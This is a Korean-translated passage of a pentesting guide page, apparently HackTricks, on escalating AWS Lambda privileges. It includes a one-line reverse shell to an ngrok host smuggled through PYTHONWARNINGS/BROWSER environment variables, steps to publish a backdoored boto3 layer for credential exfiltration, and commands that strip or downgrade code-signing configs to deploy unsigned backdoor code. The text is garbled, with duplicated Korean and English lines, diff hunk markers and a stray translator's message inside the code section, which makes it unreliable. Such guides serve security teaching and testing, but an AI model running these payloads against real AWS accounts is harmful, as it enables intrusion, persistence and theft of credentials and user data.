이 권한으로 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING` `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하 할 수 있습니다:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
다른 스크립팅 언어의 경우 사용할 수 있는 다른 환경 변수가 있습니다. 자세한 내용은 다음의 스크립팅 언어 하위 섹션을 확인하세요:
다른 스크립팅 언어에는 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어 하위 섹션을 다음에서 확인하세요:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### Lambda Layers를 통한 RCE
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)는 **코드**를 람다 함수에 포함할 수 있게 해주지만 **별도로 저장**하므로 함수 코드 작게 유지할 수 있고 **여러 함수가 코드를 공유**할 수 있습니다.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lamdba function에 **code**를 포함시킬 수 있게 해주지만 **storing it separately** 방식으로 저장하므로 함수 코드 작게 유지할 수 있고 **several functions can share code**.
람다 내부에서 다음과 같은 함수를 사용하여 파이썬 코드가 로드되는 경로를 확인할 수 있습니다:
lambda 내부에서 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
이곳은 다음과 같습니다:
These are the places:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -198,53 +198,53 @@ print(json.dumps(sys.path, indent=2))
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
예를 들어, 라이브러리 boto3는 `/var/runtime/boto3` (4번째 위치)에서 로드됩니다.
For example, the library boto3 is loaded from `/var/runtime/boto3` (4번째 위치).
#### Exploitation
`lambda:UpdateFunctionConfiguration` 권한을 악용하 **새 레이어를 추가**하는 것이 가능합니다. 임의의 코드를 실행하려면 이 레이어에 **람다가 가져올 라이브러리**가 포함되어야 합니다. 람다의 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있으며, 람다가 **이미 레이어를 사용하고 있을 가능성**도 있다는 점에 유의해야 하며, 레이어를 **다운로드**하 그 안에 **코드를 추가**할 수 있습니다.
`lambda:UpdateFunctionConfiguration` 권한을 악용하면 lambda 함수에 **새 레이어를 추가**할 수 있습니다. 임의의 코드를 실행하려면 이 레이어에는 lambda가 import할 일부 **라이브러리**가 포함되어 있어야 합니다. lambda의 코드를 읽을 수 있다면 이를 쉽게 확인할 수 있으며, 해당 lambda가 **이미 레이어를 사용 중일 수 있으며** 그 레이어를 **다운로드**하 그 안에 **코드를 추가**할 수 있다는 점에 유의하세요.
예를 들어, 람다가 라이브러리 boto3를 사용하고 있다고 가정해 보겠습니다. 이는 라이브러리의 최신 버전으로 로컬 레이어를 생성합니다:
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
```bash
pip3 install -t ./lambda_layer boto3
```
`./lambda_layer/boto3/__init__.py`를 열 **전역 코드에 백도어를 추가**할 수 있습니다 (예: 자격 증명을 유출하거나 리버스 셸을 얻는 함수).
`./lambda_layer/boto3/__init__.py`를 열어서 **add the backdoor in the global code**할 수 있다 (예: credentials를 exfiltrate하는 함수나 reverse shell을 얻는 함수).
다음, `./lambda_layer` 디렉리를 압축하고 **새 lambda 레이어를 업로드**하세요 (자신의 계정또는 피해자 계정에, 하지만 이 경우 권한이 없을 수 있습니다).\
파이썬 폴더를 생성하고 라이브러리를 그곳에 넣어 /opt/python/boto3를 덮어써야 합니다. 또한, 레이어는 lambda에서 사용는 **파이썬 버전과 호환되어야**, 계정에 업로드 경우 **같은 지역**에 있어야 합니다:
그 다음, `./lambda_layer` 디렉리를 zip으로 묶어 **upload the new lambda layer**를 자신의 계정(또는 피해자 계정권한이 없을 수 있음)에 업로드한다.\
참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 한다. 또한, layer는 lambda에서 사용는 **compatible with the python version**이어야, 자신의 계정에 업로드하는 경우 동일한 **same region:**에 있어야 한다.
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하** 만드세요:
이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록** 만드세요:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
희생자 lambda 함수에 lambda 레이어를 연결합니다:
그리고 lambda layer를 victim lambda function에 연결합니다:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
다음 단계는 **함수를 호출**할 수 있으면 직접 호출하거나, 일반적인 방법으로 **호출될 때까지 기다리는 것**입니다. 후자가 더 안전한 방법입니다.
다음 단계는 우리가 직접 **invoke the function** 하거나, 정상적인 방법으로 i**t gets invoked** 될 때까지 기다리는 것입니다 후자가 더 안전한 방법입니다.
**이 취약점을 이용하는 더 은밀한 방법**은 다음에서 찾을 수 있습니다:
A **more stealth way to exploit this vulnerability** can be found in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**잠재적 영향:** 사용된 lambda 서비스 역할에 대한 직접적인 권한 상승.
**잠재적 영향:** Lambda 서비스 역할에 대한 Direct privesc.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
권한함수를 생성하고 URL을 호출하여 실행할 수 있을지도 모릅니다... 하지만 이를 테스트할 방법을 찾지 못했으니, 찾으면 알려주세요!
해당 권한function을 생성하고 URL을 호출 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했습니다. 찾으면 알려주세요!
### Lambda MitM
일부 lambda는 **사용자로부터 매개변수로 민감한 정보를 수신할 것입니다.** 그 중 하나에서 RCE를 얻으면, 다른 사용자가 보내는 정보를 유출할 수 있습니다. 확인해보세요:
일부 lambdas파라미터에서 사용자로부터 민감한 정보를 **receiving sensitive info from the users in parameters.** 만약 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -256,3 +256,62 @@ aws lambda update-function-configuration \
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 다운그레이드할 수 있는 공격자는 unsigned 코드를 해당 함수에 배포할 수 있습니다. 이는 함수의 IAM 역할이나 트리거를 수정하지 않고도 무결성 보호를 우회합니다.
권한 (다음 중 하나):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
참고:
- Path B의 경우 CSC 정책이 `WARN`으로 설정되어 있으면( unsigned artifacts allowed ) AWS Signer 프로필이 필요하지 않습니다.
단계 (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
Prepare a small payload:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
경로 A) CSC 제거 후 code 업데이트:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
경로 B) delete가 허용되지 않는 경우 Warn으로 다운그레이드하고 코드를 업데이트:
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
확인했습니다. 지침에 따라 영어 텍스트를 한국어로 번역하겠습니다. 코드, 기술명, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: aws, gcp 등), 'leak', pentesting, 링크 및 경로, 마크다운/HTML 태그는 번역하지 않으며, 태그나 링크 형식은 그대로 유지하겠습니다. 추가 내용은 포함하지 않습니다.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
잠재적 영향: 서명된 배포만 적용되도록 설계된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드가 실행될 수 있습니다.
정리:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```